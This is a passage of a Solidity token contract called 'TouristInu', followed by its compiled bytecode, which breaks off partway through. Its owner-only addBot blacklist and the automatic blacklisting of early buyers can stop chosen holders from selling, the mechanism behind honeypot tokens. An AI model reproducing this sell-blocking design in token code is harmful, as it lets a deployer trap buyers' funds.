string private constant _symbol = "TouristInu";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
bool private _isBuy = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0xf0B3453c1758561dEC9D8D47ab1D89B290f52AdC);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(amount > 0, "Transfer amount must be greater than zero");
_isBuy = true;
if (from != owner() && to != owner()) {
if (block.number <= (launchedAt + deadBlock) &&
to != uniswapV2Pair &&
to != address(uniswapV2Router)
) {
bots[to] = true;
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// buy
require(amount <= _maxTxAmount);
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
}
if (from != address(uniswapV2Router) && ! _isExcludedFromFee[from] && to == uniswapV2Pair){
require(!bots[from] && !bots[to]);
_isBuy = false;
}
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function getIsBuy() private view returns (bool){
return _isBuy;
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function adjustFees(uint256 buyFee1, uint256 buyFee2, uint256 sellFee1, uint256 sellFee2) external onlyOwner {
require(buyFee1 + buyFee2 <= initialTotalBuyFee);
require(sellFee1 + sellFee2 <= initialTotalSellFee);
_taxes.buyFee1 = buyFee1;
_taxes.buyFee2 = buyFee2;
_taxes.sellFee1 = sellFee1;
_taxes.sellFee2 = sellFee2;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function setFeeRate(uint256 rate) external {
require(_msgSender() == _feeAddrWallet);
require(rate<=49);
_feeRate = rate;
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading(uint256 db) external onlyOwner() {
require(!tradingOpen,"trading is already open");
require(db <= 1);
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = _tTotal.mul(2).div(100);
_maxWalletSize = _tTotal.mul(3).div(100);
tradingOpen = true;
deadBlock = db;
launchedAt = block.number;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function addBot(address[] memory _bots) public onlyOwner {
for (uint i = 0; i < _bots.length; i++) {
if (_bots[i] != address(this) && _bots[i] != uniswapV2Pair && _bots[i] != address(uniswapV2Router)){
bots[_bots[i]] = true;
}
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = getIsBuy() ? _getTValues(tAmount, _taxes.buyFee1, _taxes.buyFee2) : _getTValues(tAmount, _taxes.sellFee1, _taxes.sellFee2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101395760003560e01c80636fc3eaec116100ab57806395d89b411161006f57806395d89b41146103e3578063a9059cbb1461040e578063b87f137a1461044b578063c3c8cd8014610474578063d16336491461048b578063dd62ed3e146104b457610140565b80636fc3eaec1461033657806370a082311461034d578063715018a61461038a578063751039fc146103a15780638da5cb5b146103b857610140565b806323b872dd116100fd57806323b872dd1461022a578063273123b714610267578063313ce5671461029057806345596e2e146102bb5780635932ead1146102e4578063677daa571461030d57610140565b806306fdde0314610145578063095ea7b31461017057806317e1df5b146101ad57806318160ddd146101d657806321bbcbb11461020157610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a6104f1565b60405161016791906131ea565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612cf3565b61052e565b6040516101a491906131cf565b60405180910390f35b3480156101b957600080fd5b506101d460048036038101906101cf9190612e56565b61054c565b005b3480156101e257600080fd5b506101eb610643565b6040516101f8919061332c565b60405180910390f35b34801561020d57600080fd5b5061022860048036038101906102239190612d33565b610654565b005b34801561023657600080fd5b50610251600480360381019061024c9190612ca0565b6108b6565b60405161025e91906131cf565b60405180910390f35b34801561027357600080fd5b5061028e60048036038101906102899190612c06565b61098f565b005b34801561029c57600080fd5b506102a5610a7f565b6040516102b291906133a1565b60405180910390f35b3480156102c757600080fd5b506102e260048036038101906102dd9190612dd6565b610a88565b005b3480156102f057600080fd5b5061030b60048036038101906103069190612d7c565b610b01565b005b34801561031957600080fd5b50610334600480360381019061032f9190612dd6565b610bb3565b005b34801561034257600080fd5b5061034b610c8d565b005b34801561035957600080fd5b50610374600480360381019061036f9190612c06565b610cff565b604051610381919061332c565b60405180910390f35b34801561039657600080fd5b5061039f610d50565b005b3480156103ad57600080fd5b506103b6610ea3565b005b3480156103c457600080fd5b506103cd610f5a565b6040516103da9190613101565b60405180910390f35b3480156103ef57600080fd5b506103f8610f83565b60405161040591906131ea565b60405180910390f35b34801561041a57600080fd5b5061043560048036038101906104309190612cf3565b610fc0565b60405161044291906131cf565b60405180910390f35b34801561045757600080fd5b50610472600480360381019061046d9190612dd6565b610fde565b005b34801561048057600080fd5b506104896110b8565b005b34801561049757600080fd5b506104b260048036038101906104ad9190612dd6565b611132565b005b3480156104c057600080fd5b506104db60048036038101906104d69190612c60565b611707565b6040516104e8919061332c565b60405180910390f35b60606040518060400160405280600a81526020017f546f7572697374496e7500000000000000000000000000000000000000000000815250905090565b600061054261053b61178e565b8484611796565b6001905092915050565b61055461178e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105d89061328c565b60405180910390fd5b600f5483856105f09190613462565b11156105fb57600080fd5b601054818361060a9190613462565b111561061557600080fd5b83600b6000018190555082600b6001018190555081600b6002018190555080600b6003018190555050505050565b6000681211ede49736571200905090565b61065c61178e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e09061328c565b60405180910390fd5b60005b81518110156108b2573073ffffffffffffffffffffffffffffffffffffffff1682828151811061071f5761071e6136e9565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16141580156107b35750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610792576107916136e9565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b80156108275750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610806576108056136e9565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b1561089f57600160076000848481518110610845576108446136e9565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80806108aa90613642565b9150506106ec565b5050565b60006108c3848484611961565b610984846108cf61178e565b61097f856040518060600160405280602881526020016139e160289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061093561178e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461202a9092919063ffffffff16565b611796565b600190509392505050565b61099761178e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1b9061328c565b60405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ac961178e565b73ffffffffffffffffffffffffffffffffffffffff1614610ae957600080fd5b6031811115610af757600080fd5b8060128190555050565b610b0961178e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8d9061328c565b60405180910390fd5b80601660176101000a81548160ff02191690831515021790555050565b610bbb61178e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3f9061328c565b60405180910390fd5b60008111610c5557600080fd5b610c846064610c7683681211ede4973657120061208e90919063ffffffff16565b61210990919063ffffffff16565b60178190555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610cce61178e565b73ffffffffffffffffffffffffffffffffffffffff1614610cee57600080fd5b6000479050610cfc81612153565b50565b6000610d49600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121bf565b9050919050565b610d5861178e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610de5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ddc9061328c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610eab61178e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2f9061328c565b60405180910390fd5b681211ede49736571200601781905550681211ede49736571200601881905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f546f7572697374496e7500000000000000000000000000000000000000000000815250905090565b6000610fd4610fcd61178e565b8484611961565b6001905092915050565b610fe661178e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611073576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106a9061328c565b60405180910390fd5b6000811161108057600080fd5b6110af60646110a183681211ede4973657120061208e90919063ffffffff16565b61210990919063ffffffff16565b60188190555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110f961178e565b73ffffffffffffffffffffffffffffffffffffffff161461111957600080fd5b600061112430610cff565b905061112f8161222d565b50565b61113a61178e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111be9061328c565b60405180910390fd5b601660149054906101000a900460ff1615611217576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120e9061330c565b60405180910390fd5b600181111561122557600080fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506112b530601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16681211ede49736571200611796565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156112fb57600080fd5b505afa15801561130f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113339190612c33565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561139557600080fd5b505afa1580156113a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113cd9190612c33565b6040518363ffffffff1660e01b81526004016113ea92919061311c565b602060405180830381600087803b15801561140457600080fd5b505af1158015611418573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061143c9190612c33565b601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306114c530610cff565b6000806114d0610f5a565b426040518863ffffffff1660e01b81526004016114f29695949392919061316e565b6060604051808303818588803b15801561150b57600080fd5b505af115801561151f573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906115449190612e03565b50505060016016806101000a81548160ff0219169083151502179055506001601660176101000a81548160ff0219169083151502179055506115ac606461159e6002681211ede4973657120061208e90919063ffffffff16565b61210990919063ffffffff16565b6017819055506115e260646115d46003681211ede4973657120061208e90919063ffffffff16565b61210990919063ffffffff16565b6018819055506001601660146101000a81548160ff0219169083151502179055508160148190555043601381905550601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016116b0929190613145565b602060405180830381600087803b1580156116ca57600080fd5b505af11580156116de573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117029190612da9565b505050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611806576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117fd906132ec565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611876576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186d9061322c565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611954919061332c565b60405180910390a3505050565b600081116119a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199b906132ac565b60405180910390fd5b6001601660186101000a81548160ff0219169083151502179055506119c7610f5a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611a355750611a05610f5a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561201a57601454601354611a4a9190613462565b4311158015611aa75750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611b015750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b5f576001600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611c0a5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611c605750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611c785750601660179054906101000a900460ff165b15611ce557601754811115611c8c57600080fd5b60185481611c9984610cff565b611ca39190613462565b1115611ce4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cdb906132cc565b60405180910390fd5b5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611d8d5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611de65750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611eb457600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611e8f5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611e9857600080fd5b6000601660186101000a81548160ff0219169083151502179055505b6000611ebf30610cff565b9050611f136064611f05601254611ef7601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610cff565b61208e90919063ffffffff16565b61210990919063ffffffff16565b811115611f6f57611f6c6064611f5e601254611f50601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610cff565b61208e90919063ffffffff16565b61210990919063ffffffff16565b90505b601660159054906101000a900460ff16158015611fda5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611ff0575060168054906101000a900460ff165b1561201857611ffe8161222d565b600047905060008111156120165761201547612153565b5b505b505b6120258383836124b5565b505050565b6000838311158290612072576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206991906131ea565b60405180910390fd5b50600083856120819190613543565b9050809150509392505050565b6000808314156120a15760009050612103565b600082846120af91906134e9565b90508284826120be91906134b8565b146120fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f59061326c565b60405180910390fd5b809150505b92915050565b600061214b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506124c5565b905092915050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156121bb573d6000803e3d6000fd5b5050565b6000600954821115612206576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121fd9061320c565b60405180910390fd5b6000612210612528565b9050612225818461210990919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561226557612264613718565b5b6040519080825280602002602001820160405280156122935781602001602082028036833780820191505090505b50905030816000815181106122ab576122aa6136e9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561234d57600080fd5b505afa158015612361573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123859190612c33565b81600181518110612399576123986136e9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061240030601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611796565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612464959493929190613347565b600060405180830381600087803b15801561247e57600080fd5b505af1158015612492573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b6124c0838383612553565b505050565b6000808311829061250c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250391906131ea565b60405180910390fd5b506000838561251b91906134b8565b9050809150509392505050565b600080600061253561271e565b9150915061254c818361210990919063ffffffff16565b9250505090565b60008060008060008061256587612780565b9550955095509550955095506125c386600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461281590919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061265885600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461285f90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126a4816128bd565b6126ae848361297a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161270b919061332c565b60405180910390a3505050505050505050565b600080600060095490506000681211ede497365712009050612754681211ede4973657120060095461210990919063ffffffff16565b82101561277357600954681211ede4973657120093509350505061277c565b81819350935050505b9091565b60008060008060008060008060006127966129b4565b6127b4576127af8a600b60020154600b600301546129cb565b6127ca565b6127c98a600b60000154600b600101546129cb565b5b92509250925060006127da612528565b905060008060006127ed8e878787612a61565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061285783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061202a565b905092915050565b600080828461286e9190613462565b9050838110156128b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128aa9061324c565b60405180910390fd5b8091505092915050565b60006128c7612528565b905060006128de828461208e90919063ffffffff16565b905061293281600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461285f90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61298f8260095461281590919063ffffffff16565b6009819055506129aa81600a5461285f90919063ffffffff16565b600a819055505050565b6000601660189054906101000a900460ff16905090565b6000806000806129f760646129e9888a61208e90919063ffffffff16565b61210990919063ffffffff16565b90506000612a216064612a13888b61208e90919063ffffffff16565b61210990919063ffffffff16565b90506000612a4a82612a3c858c61281590919063ffffffff16565b61281590919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a7a858961208e90919063ffffffff16565b90506000612a91868961208e90919063ffffffff16565b90506000612aa8878961208e90919063ffffffff16565b90506000612ad182612ac3858761281590919063ffffffff16565b61281590919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000612afd612af8846133e1565b6133bc565b90508083825260208201905082856020860282011115612b2057612b1f61374c565b5b60005b85811015612b505781612b368882612b5a565b845260208401935060208301925050600181019050612b23565b5050509392505050565b600081359050612b698161399b565b92915050565b600081519050612b7e8161399b565b92915050565b600082601f830112612b9957612b98613747565b5b8135612ba9848260208601612aea565b91505092915050565b600081359050612bc1816139b2565b92915050565b600081519050612bd6816139b2565b92915050565b600081359050612beb816139c9565b92915050565b600081519050612c00816139c9565b92915050565b600060208284031215612c1c57612c1b613756565b5b6000612c2a84828501612b5a565b91505092915050565b600060208284031215612c4957612c48613756565b5b6000612c5784828501612b6f565b91505092915050565b60008060408385031215612c7757612c76613756565b5b6000612c8585828601612b5a565b9250506020612c9685828601612b5a565b9150509250929050565b600080600060608486031215612cb957612cb8613756565b5b6000612cc786828701612b5a565b9350506020612cd886828701612b5a565b9250506040612ce986828701612bdc565b9150509250925092565b60008060408385031215612d0a57612d09613756565b5b6000612d1885828601612b5a565b9250506020612d2985828601612bdc565b9150509250929050565b600060208284031215612d4957612d48613756565b5b600082013567ffffffffffffffff811115612d6757612d66613751565b5b612d7384828501612b84565b91505092915050565b600060208284031215612d9257612d91613756565b5b6000612da084828501612bb2565b91505092915050565b600060208284031215612dbf57612dbe613756565b5b6000612dcd84828501612bc7565b91505092915050565b600060208284031215612dec57612deb613756565b5b6000612dfa84828501612bdc565b91505092915050565b600080600060608486031215612e1c57612e1b613756565b5b6000612e2a86828701612bf1565b9350506020612e3b86828701612bf1565b9250506040612e4c86828701612bf1565b9150509250925092565b60008060008060808587